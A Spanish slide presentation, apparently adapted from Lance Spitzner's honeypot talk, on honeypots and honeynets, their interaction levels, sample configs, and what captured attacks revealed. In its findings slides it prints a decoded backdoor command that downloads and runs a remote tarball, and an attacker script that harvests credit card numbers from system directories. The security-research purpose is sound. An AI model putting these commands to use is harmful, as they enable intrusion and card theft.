Tarros de miel y redes trampa

Tarros de miel y redes trampa
N. Del T.: Esta presentación está basada en la presentación “Honeypots” de Lance Spitzner publicada en y ha sido traducida y modificada con su consentimiento. El autor de la presentación es Javier Fernández-Sanguino Peña y el trabajo ha sido realizado dentro del proyecto HIS (Honeynets In Spanish) dedicado a la investigación de redes trampa en el entorno español, que ha realizado la traducción todos los contenidos del Proyecto Honeynet.

El Ponente Consultor de Seguridad en Germinus Miembro del grupo HIS
Desarrollador de software libre Miembro del proyecto Debian Autor del Manual de Seguridad de Debian Desarrollador principal de Tiger Colaborador en el desarrollo de Bastille y Nessus (entre otros)

Propósito Mostrar qué son los tarros de miel y las redes trampa, para qué sirven y qué aportan a la ingeniería de seguridad. N. Del T.: No hay traducción consensuada para “Honeynet” ni “Honeypot”. Un “Honeypot” es un tarro de miel (también a vesces traducido como “perita en dulce”), es decir un equipo diseñado para “atrapar” a los atacantes. Honeynet es un derivado de la palabra “Honeypot” (tarro de miel). En un informe para RedIris ( se traduce éste como “máquinas (o sistemas) trampa”

Resumen El problema Definición y tipos de los tarros de miel
Introducción a las redes trampa Ejemplos de redes trampa Descubrimientos Recursos

El problema

El problema Las organizaciones son objetivos estáticos, no se “mueve” y todo el mundo sabe dónde están. Los “malos” tienen la iniciativa. Tienen recursos ilimitados y pueden atacarte cuando quieran, como quieran.

Solución Tradicional Proteger su red lo mejor que pueda.
Esperar y desear que detecte cuando se produce un fallo.

Iniciativa Los tarros de miel y las redes trampa pueden dar la iniciativa.

Motivos e intenciones J4ck: why don't you start charging for packet attacks? J4ck: "give me x amount and I'll take bla bla offline for this amount of time” J1LL: it was illegal last I checked J4ck: heh, then everything you do is illegal. Why not make money off of it? J4ck: I know plenty of people that'd pay exorbatent amounts for packeting

Descubrimiento de nuevas herramientas
El 8 de enero de 2002, el Proyecto Honeynet capturó el primer ataque conocido del CDE Subprocess Control Service (dtspcd). Se conocía la existencia de la vulnerabilidad, pero no se había visto un ataque en Internet aún. Este ataque sobre una de nuestras Honeynets demostró el potencial de éstas para descubrir y analizar ataques nuevos o desconocidos. Más información disponible en

Definición de los tarros de miel (o PED)
‘PED’ es el acrónimo de “perita en dulce” el término utilizado por Francisco Jesús Monserrat Coll, responsable de las redes trampa de RedIris, como traducción de “honeypot”. En esta presentación, sin embargo, se utiliza la traducción “tarro de miel”. Más información de las experiencias de redes trampas en Rediris en: Y

Historia 1990 1997 - Deception Toolkit
The Cuckoo’s Egg Una noche con Berferd Deception Toolkit NetFacade y CyberCop Sting El proyecto Honeynet Capturas de gusanos

Definición Recursos de seguridad cuyo valor reside en ser sondeados, atacados o comprometidos.

Concepto Recursos que no tienen servicios en producción ni uso autorizado. Lo más probable es que cualquier conexión sea una sonda o un ataque, cualquier uso es no autorizado.

Una herramienta, no una solución
Los tarros de miel son muy flexibles, son de muchas formas y tamaños. No se diseñan para un problema específico. Puede utilizarse para distintos propósitos.

Ventajas Información valiosa Número reducido de falsos positivos
Número reducido de falsos negativos Concepto simple No exige muchos recursos Retorno de la inversión

Desventajas Riesgo Punto de vista limitado
No protege sistemas vulnerables

Tipos de tarros de miel Producción Investigación
Incrementa la seguridad en su red: protección, detección y respuesta Investigación Utilizada para recoger información Alerta temprana y predicción de ataques

Nivel de interacción Los objetivos de los tarros de miel son distintos. La funcionalidad depende de sus objetivos. Cuanto más pueda hacer un atacante en un tarro de miel, mayor es el nivel de interacción. “Nivel de interacción” es un término creado para entender las capacidades de distintos tarros de miel. Es lo que usamos para medir cuánta funcionalidad ofrece un tarro de miel a su atacante. Cuando un atacante interactúa con un tarro de miel hay distintos niveles de funcionalidad que puede éste ofrecer. Algunos tarros de miel ofrecen sólo un conjunto limitado de servicios emulados, mientras que otros no sólo ofrece aplicaciones completas, sino incluso un sistema operativo al que puede conseguir acceder el atacante. El nivel de interacción que vd. quiere depende de lo que quiere conseguir. Además, en función del nivel de interacción las ventajas y desventajas cambian. Esto puede ser un asunto crítico en el momento de decidir que tarro de miel quiere y como implementarlo.

Nivel de interacción. A mayor interacción más se puede conocer sobre el atacante. Cuanto mayor la interacción, mayor el riesgo. Los tarros de miel de producción suelen tener baja interacción mientras que las de investigación tienen alta interacción. Cuando mayor el nivel de interacción, mayor la funcionalidad que se ofrece al atacante y más puede hacer éste. Cuanto más pueda hacer el atacante, más se aprenderá de éste. Si todo lo que un atacante puede hacer es conectarse a un tarro de miel, sólo se capturarán sus intentos de conexión. Sin embargo, si el atacante tiene un sistema operativo real al que puede conectarse y con el que interactuar, se podrá aprender más de él. Sin embargo, a mayor nivel de interacción, mayor riesgo. Cuando más se permita que haga un atacante, más daño causará a su red o redes de terceras entidades.

Niveles Bajo – Emula servicios. Ejemplos: BackOfficer Friendly o Honeyd. Medio – Acceso limitado a un sistema operativo controlado. Ejemplo: entorno chroot o de jaula. Alto – Acceso a un sistema operativo totalmente funcional. Ejemplo: ManTrap o las redes trampa. Aquí hay algunos ejemplos de distintos tipos detarros de miel con distintos tipos de interacción. Se mostrarán cada una de estos tarros de miel con más detalle más adelante. Los tarros de miel de baja interacción generalmente ofrecen servicios emulados. Pueden tener un servicio de Telnet of FTP en el que puedes entrar e interactuar, pero no es un sistema real. Los tarros de miel de interacción media permiten alguna interacción con el sistema operativo, pero con funcionalidad limitada. Los tarros de miel de alta interacción ofrecen un sistema operativo completo. Los atacantes pueden descargar ficheros, binarios de troyanos, compilar código o múltiples otras acciones. Se puede aprender mucho más, pero con esta interacción vienen nuevos riesgos.

¿Cual es mejor? ¡Ninguno! Tienen todas ventajas y desventajas. Depende en lo que se quiera conseguir. Ninguno de los niveles de interacción es mejor que otro. Cada uno tiene sus ventajas y desventajas. Todo depende de lo que se quiera conseguir. Se selecciona el nivel de interacción que más se ajuste a un objetivo.

Baja interacción Emula vulnerabilidades: Un atacante está limitado a interactuar con los servicios que se ofrezcan, y el nivel de funcionalidad que se le de a éstos. Utilizado fundamentalmente para detectar o confundir. Captura de información limitada. Los sistemas de baja interacción emulan servicios y vulnerabilidades. La interacción del atacante está limitada a la funcionalidad que ofrezcan los servicios emulados. La mayoría de las soluciones de tarros de miel son programas que se instalan en sistemas existente. Los tarros de miel de baja interacción se utilizan habitualmente como tarros de miel de producción para proteger redes, capturan muy poca información para poder ser utilizado como un sistema de investigación. Se utilizan generalmente como tecnologías de engaño o detección. La mayor parte de los tarros de miel tradicionales son soluciones de baja interacción. Los tres tarros de miel que se mostrarán a continuación (BackOfficer Friendly, Specter, y Honeyd) se consideran soluciones de baja interacción.

Emulación de servidor de FTP
case $incmd_nocase in QUIT* ) echo -e "221 Goodbye.\r" exit 0;; SYST* ) echo -e "215 UNIX Type: L8\r" ;; HELP* ) echo -e "214-The following commands are recognized (* =>'s unimplemented).\r" echo -e " USER PORT STOR MSAM* RNTO NLST MKD CDUP\r" echo -e " PASS PASV APPE MRSQ* ABOR SITE XMKD XCUP\r" echo -e " ACCT* TYPE MLFL* MRCP* DELE SYST RMD STOU\r" echo -e " SMNT* STRU MAIL* ALLO CWD STAT XRMD SIZE\r" echo -e " REIN* MODE MSND* REST XCWD HELP PWD MDTM\r" echo -e " QUIT RETR MSOM* RNFR LIST NOOP XPWD\r" echo -e "214 Direct comments to USER* ) parm1_nocase=`echo $parm1 | gawk '{print toupper($0);}'` if [ "$parm1_nocase" == "ANONYMOUS" ] then echo -e "331 Guest login ok, send your complete address as a password.\r" AUTH="ANONYMOUS" else echo -e "331 Password required for $parm1\r" AUTH=$parm1 fi Aquí se puede ver el código de un tarro de miel de baja interacción (Honeyd) que emula un servidor de FTP. Basándose en la entrada del ataque, existe una salida predefinida.

Alta interacción Ofrece un sistema operativo completo para que el atacante interactúe con él. Usado principalmente para investigación y respuesta, pero también puede ser utilizado para prevención y detección. Complejas de desplegar, pero potencialmente más seguro que las jaulas Captura gran cantidad de información. NO emula Los tarros de miel de alta interacción no emulan nada. En lugar de esto le dan a los atacantes un sistema operativo real completo con el que pueden interactuar. Debido a esta alta interacción se captura gran cantidad de información. No sólo pueden estas soluciones ser utilizadas como elementos de engaño y detección, como las soluciones de baja interacción, sino que también pueden ser utilizada para respuesta ante incidentes y para investigar a los atacantes. Se pueden capturar pulsaciones, nuevas herramientas de ataque, conversaciones e incluso imágenes. Un ejemplo de soluciones de alta interacción son ManTrap y Honeynets. Toda esta capacidad introduce nuevos riesgos. Cuanto más pueda hacer un atacante, más daño puede hacer.

Valor de redes trampa de producción
Protección Detección Respuesta

Valor de redes trampa de investigación
Recogida de inteligencia Predicción y Alerta Temprana

Ejemplos

Redes Trampa de producción
BackOfficer Friendly LaBrea Tarpit Deception Toolkit Smoke Detector Specter Honeyd

Specter

Honeyd.conf create default
set default personality "FreeBSD STABLE" set default default tcp action reset add default tcp port 80 "sh /etc/Honeyd/scripts/web.sh" add default tcp port 22 "sh /etc/Honeyd/scripts/test.sh" add default tcp port 113 open add default tcp port 1 reset create windows set windows personality "Windows NT 4.0 Server SP5-SP6" set windows default tcp action reset add windows tcp port 80 ”perl /etc/Honeyd/scripts/iis/main.pl" add windows tcp port 25 block add windows tcp port 23 proxy real-server.tracking-hackers.com:23 add windows tcp port 22 proxy $ipsrc:22 set windows uptime bind windows Este es un ejemplo de un fichero de configuración de Honeyd. Éste determina el comportamiento de distitntos tarros de miel, y las direcciones IP a las que se asocia este comportamiento. Honeyd usa plantillas, donde cada plantilla define un comportamiento específico de distintas personalidades de tarros de miel. En este fichero de configuración hay dos plantillas. La primera es la plantilla por omisión (default) la segunda se llama Windows.

Nmap.prints # Contributed by Vilius beneti@sc.ktu.lt
Fingerprint Windows NT 4.0 Server SP5-SP6 TSeq(Class=RI%gcd=<8%SI=<11784E&>2CA4) T1(DF=Y%W=2017%ACK=S++%Flags=AS%Ops=MNWNNT) T2(Resp=Y%DF=N%W=0%ACK=S%Flags=AR%Ops=) T3(Resp=Y%DF=Y%W=2017%ACK=O%Flags=A%Ops=NNT) T4(DF=N%W=0%ACK=O%Flags=R%Ops=) T5(DF=N%W=0%ACK=S++%Flags=AR%Ops=) T6(DF=N%W=0%ACK=O%Flags=R%Ops=) T7(DF=N%W=0%ACK=S++%Flags=AR%Ops=) PU(DF=N%TOS=0%IPLEN=38%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E) Este es un ejemplo de una entrada de la base de datos de “huellas” de Nmap. Este es el fichero que Nmap utiliza para validar el sistema operativo de un sistema remoto. Es el mismo fichero que Honeyd utiliza para emular la pila de protocolos IP del sistema operativo. En el momento de escribir esta presentación, Nmap tenía más de 470 sistemas operativos documentados en el fichero de huellas. Este es el fichero normal de Nmap, Honeyd no necesita nada especial. Esto significa que se puede actualizar el tarro de miel consiguiendo la última base de datos disponible directamente de Nmap. Esta firma es para Windows NT 4.0 Server, Service Pack 5 or 6.

¿Un router Cisco?

Tarros de miel de investigación
ManTrap Redes trampa

ManTrap Sistema Operativo Host Jaula 1 Jaula 2 Jaula 3 Jaula 4
Este es el diagrama lógico de un Host con ManTrap. Todo reside físicamente en el mismo sistema. Este Host soporta hasta cuatro jaulas lógicas. Cada jaula actúa como un sistema operativo virtual independiente con su propio interfaz de red físico que se conecta a la red.

Repetición de sesión La última versión de ManTrap (la 3.0) tiene la capacidad de reproducir ataques, pulsación por pulsación, incluso en tiempo real.

Red Trampa (Honeynet) Tarro de miel OpenSource.
Se trata de una arquitectura, no es ni un producto ni ningún software concreto. Poblada de sistemas “vivos”.

GenII Honeynet

Control de Datos - GenII
alert tcp $HONEYNET any -> any 53 (msg:"DNS EXPLOIT named";flags: A+; content:"|CD80 E8D7 FFFFFF|/bin/sh"; replace:"|0000 E8D7 FFFFFF|/ben/sh";)

Redes trampas virtuales
Éste es un modelo gráfico de VMWare GSX, una de las herramientas utilizadas para tener redes trampa virtuales. En el diagrama se puede ver como el software de Vmware permite la ejecución de distintos sistemas operativos al mismo tiempo sobre distinto hardware.

Desplegando tarros de miel

Tarros de miel distribuidos

Tarros de miel wireless
Otras redes wireless en el área de Washington D.C.

Descubrimientos

El proyecto Honeynet Una organización de voluntarios dedicados a la investigación de riesgos cibernéticos. Desplegando redes a lo largo del planeta para que sean atacadas

¿Quién soy yo? Creemos que esta persona es un “blackhat” Rumano que live en la costa este (de EEUU, N. del T.). Se cree que su apodo es ‘Johnny17’. El Proyecto Honeynet capturó este video en tiempo real mientras una de nuestras Honeynets estaba siendo atacada.

Nuevas tácticas - puertas traseras
02/19-04:34: > PROTO011 TTL:237 TOS:0x0 ID:13784 IpLen:20 DgmLen:422 B7 37 BA 3D B5 38 BB F BD = H D3 5D D9 62 EF 6B A2 F4 2B AE 3E C CD 57 .].b.k..+.>.R..W DD 69 F2 6C E8 1F 8E 29 B4 3B 8C D A9 F6 .i.l...).;...a.. 3B 84 CF 18 5D A5 EC 36 7B C B3 02 4B 91 ;...]..6{..d..K. 0E 94 1A 51 A6 DD 23 AE 32 B8 FF 7C CD Q..#.2..|...X D6 67 9E F0 27 A1 1C A8 2F 66 B8 EF 7A .g..'..S.$./f..z F2 7B B2 F A D4 5A E0 25 B0 2E BF .{..... W.Z.%... F6 48 7F C4 0A AA 26 AF 3C B8 EF H.... .&.<..Ax. 85 BC D BA 40 C6 0B A5 DC 67 F2 7C F8 81 0E 8A DC F3 0A F 66 7D 94 AB C2 | !8Of}... D9 F0 07 1E 35 4C 63 7A 91 A8 BF D6 ED 04 1B Lcz E A5 BC D3 EA F 46 5D 74 8B A2 I`w /F]t.. B9 D0 E7 FE 15 2C 43 5A F B6 CD E4 FB ,CZq E 85 9C B3 CA E1 F8 0F 26 3D 54 6B 82 99 B0 C7 DE F5 0C 23 3A F 96 AD C4 DB F #:Qh...... E 65 7C 93 AA C1 D8 EF 06 1D 34 4B Ne| Kb 79 90 A7 BE D5 EC 03 1A F 76 8D A4 BB D2 y H_v.... E E 45 5C 73 8A A1 B8 CF E6 FD 14 2B E\s B E B5 CC E3 FA F 56 6D 84 9B B2 Yp (?Vm... C9 E0 F7 0E 25 3C 53 6A AF C6 DD F4 0B %<Sj " E 95 AC C3 DA F1 08 1F 36 4D 64 7B 92 9Pg~ Md{. A9 C0 D7 EE 05 1C 33 4A F A6 BD D4 EB Jax...... E 75 8C A3 BA D1 E8 FF 16 2D 44 5B G^u D[r 89 A0 B7 CE E5 FC 13 2A F 86 9D B4 CB E *AXo..... F E 55 6C 83 9A B1 C8 DF F6 0D 24 3B '>Ul $;R i.

Orden descifrada de la puerta trasera
starting decode of packet size 420 17 35 B7 37 BA 3D B5 38 BB F BD 48 D3 5D local buf of size 420 B 69 6C 6C 61 6C 6C 20 2D killall -9 tts B 20 6C 79 6E D 73 6F 75 erve ; lynx -sou A 2F 2F E 31 rce E E 32 3A F 66 6F :8882/fo 6F 20 3E 20 2F 74 6D 70 2F 66 6F 6F 2E A o > /tmp/foo.tgz 20 3B F 74 6D B ; cd /tmp ; tar 20 2D A F 6F 2E A 20 3B -xvzf foo.tgz ; 20 2E 2F B D /ttserve ; rm 2D F 6F 2E A rf foo.tgz ttse B rve; B A A B1 BF E7 6F BF 1D 88 CB ....j.9....o.... C5 FE $

Motivos #!/bin/sh echo " Caut carti de credit si incerc sa salvez in card.log" touch /dev/ida/.inet/card.log egrep -ir 'mastercard|visa' /home|egrep -v cache >>card.log egrep -ir 'mastercard|visa' /var|egrep -v cache >>card.log egrep -ir 'mastercard|visa' /root|egrep -v cache >>card.log if [ -d /www ]; then egrep -ir 'mastercard|visa' /www >>card.log fi

Predicción y alerta temprana
Este modelo estadístico, basado en firmas IDS, muestra el concepto de alerta temprana. El diagrama y sus conceptos se discuten con detalle en Know Your Enemy: Statistics

Resumen Los tarros de miel y las redes trampa son un elemento de investigación interesante No sirven para proteger sistemas inseguros Pero son un nuevo elemento que ayuda a la investigación de problemas de seguridad y detección de ataques

Fuentes - Libros Know Your Enemy Honeypots: Tracking Hackers
Honeypots: Tracking Hackers

Fuentes - Sitios Web http://www.tracking-hackers.com
No se olvide, hay un servidor de web dedicado justo a este tema.

Fuentes - Publicaciones
Honeypots: Definitions and Values Honeynets Virtual Honeynets Muchos traducidos en

Recursos - Listas de correo
Lista de correo de tarros de miel Lista de correo Firewall Wizards Lista de correo proyecto HIS (en español)

<jfernandez@germinus.com>
Contacto

Tarros de miel y redes trampa

Presentaciones similares

Presentación del tema: "Tarros de miel y redes trampa"— Transcripción de la presentación:

Presentaciones similares

Sobre el proyecto

Feedback

Iniciar la sesión

Autorizarse a través de una red social:

Tarros de miel y redes trampa

Presentaciones similares

Presentación del tema: "Tarros de miel y redes trampa"— Transcripción de la presentación:

Presentaciones similares

Sobre el proyecto

Feedback